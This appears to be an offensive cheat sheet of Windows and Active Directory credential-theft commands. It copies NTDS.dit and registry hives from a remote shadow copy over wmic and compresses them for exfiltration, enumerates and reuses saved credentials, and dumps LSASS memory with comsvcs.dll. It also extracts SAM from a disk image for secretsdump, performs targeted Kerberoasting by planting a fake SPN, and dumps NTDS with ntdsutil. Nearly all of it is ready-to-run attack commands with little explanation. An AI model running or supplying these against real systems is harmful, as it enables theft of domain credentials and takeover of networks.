# creating volume shadow copy
wmic /node:"[AD_IP_address]" /user:"[username]" /password:"[password]" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
# copying NTDS.dit, SYSTEM and SECURITY files from shadow copy
wmic /node:"[AD_IP_address]" /user:"[username]" /password:"[password]" process call create "cmd /c copy \\[shadow_copy_dir]\\Windows\\NTDS\\NTDS.dit [target_folder] & copy \\[shadow_copy_dir]\\Windows\\System32\\config\\SYSTEM [target_folder] & copy \\[shadow_copy_dir]\\Windows\\System32\\config\\SECURITY [target_folder]"
# compressing files for exfiltration
7za.exe a -mx3 nt.7z \\\\[AD_IP_address]\\c$\\[target_folder]
Stored Credential Enumeration
You can use cmdkey command or the keymgr.dll (requires GUI) to list out stored credentials. Additionally, you can use the output in a runas command to authenticate.
Listing saved credentials:
cmdkey /list
Listing saved credentials in a desktop environment:
rundll32.exe keymgr.dll, KRShowKeyMgr
Using saved credentials:
runas /savecred /user:jmith cmd.exe
Dumping LSASS with rundll32.exe
Same behavior that would occur if you Right-Clicked the process in Task Manager and dump LSASS manually.
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
guestmount --add GoldenWindows11x64.vhdx --inspector --ro -v /mnt
cd /mnt/Windows/System32/config
cp SAM SYSTEM /root && cd /root && guestunmount /mnt
secretsdump.py -sam /root/SAM -system /root/SYSTEM local
Targeted Kerberoasting with PowerSploit
Get-DomainUser 'victimuser' | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
# Obtain a kerberoast hash to crack
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl
# Clear the SPNs of the target account
$User | Select serviceprincipalname
Set-DomainObject -Identity victimuser -Clear serviceprincipalname
Dumping NTDS with ntdsutil.exe
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"